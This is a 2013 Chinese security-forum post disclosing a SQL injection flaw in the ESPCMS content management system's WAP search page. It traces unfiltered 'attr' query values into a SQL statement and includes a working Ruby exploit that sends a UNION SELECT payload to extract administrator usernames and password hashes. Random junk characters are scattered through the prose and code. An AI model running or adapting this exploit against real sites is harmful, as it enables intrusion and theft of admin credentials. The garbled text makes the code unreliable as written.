找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2257|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节
9 J, a8 z* J2 N4 |- J% u6 R4 k0×2 PoC" A1 P, Z+ i3 C$ T" F& `
/ N- V2 R+ T6 Q

, ]3 B5 f) l8 m3 A, {1 f- R0 S
0 Q+ m4 Z7 ]/ w9 E. W3 d- F1 `  x0×0 漏洞概述
2 V' y% O! D! z7 X7 h- A2 L! w
$ e2 \$ o6 A# \( Z, T2 j+ m易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
0 d6 q) q4 G8 P$ q9 k4 @! r- P其在处理传入的参数时考虑不严谨导致SQL注入发生" }6 H0 y  F9 S

/ N1 \- Z2 ^. M6 ~/ j" q2 |( s8 e6 B1 n; q% R( K! @$ w
0×1 漏洞细节
! Z' I, v; R6 m& B5 I. o, l. i3 @5 e# q) S6 Q& |
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
7 i6 V/ S, u* L% a- P正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
) d  l" z/ v  d6 c" }而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
& t# c' G5 [! p3 g& `' s' ^
# Z# `; r7 M; ^在/interface/3gwap_search.php文件的in_result函数中:0 p+ j0 ^" s$ T; e( N- S
  u* ]3 `' ~: y  O6 ?( f. D+ ]) g. D

3 F; ?: R5 F. R+ y7 D" K/ F. j. w  O1 P' n4 ~5 Q) Q* q7 V
       function in_result() {9 @4 j3 N7 E) R1 H# p$ d; \* i
            ... ... ... ... ... ... ... ... ...3 c4 E, |- t" A7 \7 Z& `# L
            $urlcode = $_SERVER[ 'QUERY_STRING '];+ s7 K  a+ z, ~" e9 o
            parse_str(html_entity_decode($urlcode), $output);
# U+ u" W8 h( j0 }: X8 H
: g& v2 h7 H) U* A; U            ... ... ... ... ... ... ... ... ...+ ~3 a2 h. V/ l' t
            if (is_array($output['attr' ]) && count($output['attr']) > 0) {8 N% J0 t# y+ h7 G6 s! Z* |2 z

. M9 G, ^+ Z0 A4 j0 B( Z                  $db_table = db_prefix . 'model_att';
; u6 a" q* T) t: b- z4 q7 `* U  I, o- }4 @8 o
                   foreach ($output['attr' ] as $key => $value) {+ M3 o2 O- y5 a+ p5 \
                         if ($value) {
3 N4 A1 z) a. T  F- v
- V6 U4 u7 m; _7 x) v                              $key = addslashes($key);) D2 i# x4 x' \6 J9 c/ a  P
                              $key = $this-> fun->inputcodetrim($key);
0 I( H) ^4 e4 s1 K! k                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";/ L* D" }6 T3 X+ Z7 D4 u7 D
                              $countnum = $this->db_numrows($db_table, $db_att_where);& k6 S0 q! I& `5 ^0 W/ r# `2 o. V
                               if ($countnum > 0) {
2 A3 l# B* P$ v. T: H                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
0 ~- d% P6 @) n- J7 _                              }
  R, k2 _/ @0 N1 G5 L                        }
- x4 @9 M+ t( D2 n4 C7 s                  }6 _  D4 N8 J, o
            }
1 P  L1 ?9 M5 K/ }! E, m            if (!empty ($keyword) && empty($keyname)) {
. [8 G5 g) D, p0 j1 V( b+ y                  $keyname = 'title';
9 h# b4 w5 i" _/ k                  $db_where.= " AND a.title like '%$keyword%'" ;
% d' x: _4 R/ s, U7 ~            } elseif (!empty ($keyword) && !empty($keyname)) {. b# o7 j( q: x$ K. _# f
                  $db_where.= " AND $keyname like '% $keyword%'";
% ]! k% d: B  N% M            }, n) d  f" L7 ~2 g* i2 i0 p$ q2 E2 T
            $pagemax = 15;
5 N* S$ U* O; u& s
' i) t' B) K: W& P/ j  l: ?; X            $pagesylte = 1;' z8 d- y  r& L0 P8 f7 A

! r" E7 C* D1 ~7 A* w! }8 C+ b1 O6 n             if ($countnum > 0) {
0 n) \/ s! Z5 A% o6 @$ \# y6 N; B* B  F& b; I% x
                  $numpage = ceil($countnum / $pagemax);
& N1 H' r) G9 H( {4 o& f            } else {! P: b1 X5 U! ?$ |
                  $numpage = 1;1 ~; u. X8 `2 @0 h6 u5 o1 D
            }% v1 r9 S  l8 D3 u
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;$ V8 T4 W9 O4 I) ?8 J1 L/ `% M
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);5 S3 r: s, K0 ]. N' O
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);$ O& K7 o- {9 v
            ... ... ... ... ... ... ... ... ...$ N! e1 ~( Q- z8 D4 F- @
      }
+ b" K, W0 g/ @. |3 N; t, F, ~$ k/ [
' E8 s. f0 \- s3 g; u8 F* g) X; V3 r6 h! r" Q+ c  Z
0×2 PoC
5 p  i7 d+ T: m: a/ c& i$ O: D6 V5 D9 u7 }7 G
4 V) g3 L2 x( v+ f# S) m
0 q6 o5 e% \0 Y: V4 Q, ~
require "net/http"7 T- M4 ]1 F2 ?$ O5 M( z1 C0 q
5 D/ y" R7 H! V- U# v) `
def request(method, url)& v5 F; j  ]: n- u9 D
    if method.eql?("get")
. i# `7 O; W0 e        uri = URI.parse(url)7 [8 f$ Q. L+ Q' ^8 h
        http = Net::HTTP.new(uri.host, uri.port); s5 p: _- r; s9 K$ K
        response = http.request(Net::HTTP::Get.new(uri.request_uri))- I4 X% _6 S& d& B
        return response
! W1 @7 y7 m; A- |8 U3 @# l- u/ C    end
& d( s- z- C5 cend1 p! j" o/ y5 U/ q- g! I3 |
1 @) g3 |  g/ Q
doc =<<HERE- a$ w* r) l  ?* A' N
-------------------------------------------------------$ r; E. Z6 n/ |* u$ R
Espcms Injection Exploit* I# r9 \( l6 ^  b9 |" a
Author:ztz& c4 r9 Y2 h4 n& L8 U* q0 L$ M3 z
Blog:http://ztz.fuzzexp.org/
: c. v% P0 W- T" K-------------------------------------------------------
2 r" U: }7 ^- z2 B8 m- t
, ?" t7 T' N+ ~- |  p7 d4 I% b' X: dHERE0 ~1 ~( h( j9 h6 u/ \- o7 B
& G  P' c2 n# i5 o& X5 S
usage =<<HERE
0 `7 _$ _% A6 I9 sUsage:         ruby #{$0} host port path
/ q6 i5 Q2 N) A) [6 N! U  y/ zexample:     ruby #{$0} www.target.com 80 /1 R) k; F5 U: ~$ c; v
HERE
  I  s, t& W, C- A) P( T$ W7 @: C: n/ e' H# U4 y8 _& e
puts doc
" M, B, b2 n. M' y4 q, m; H) ?2 i( ~if ARGV.length < 3
8 W+ {. O9 E. L/ A    puts usage# i0 Y) `4 h* Y
else) {5 n/ {8 H: o
    $host = ARGV[0]
: x+ D- g  s* y    $port = ARGV[1]- O# [9 G( ]; s3 K( F* k
    $path = ARGV[2]! x5 j4 ]2 _; b+ F% @& b! l

8 M. F! j8 Z) A2 o9 }2 K    puts "
  • send request..."1 P' X7 y8 b% D8 F1 i2 {* |
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    1 y0 n$ ^2 A( K$ o5 q8 N/ xattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13; E# }1 V9 ?- f7 g+ P
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    5 U# C8 r0 Z+ d9 b+ O/ J+ U,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    . r: w! h6 k1 P3 C1 @    response = request("get", url)) b- Y8 \: `, }" T8 B+ w9 ?
        result = response.body.scan(/\w+&\w{32}/)
      w5 b' y2 Z: d% {4 t% e    puts result5 K7 ?3 e2 K  v' G; f- [5 i; F
    end
    & F* P" \) D3 Q
    9 N# `: ^2 J* @+ y# g
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表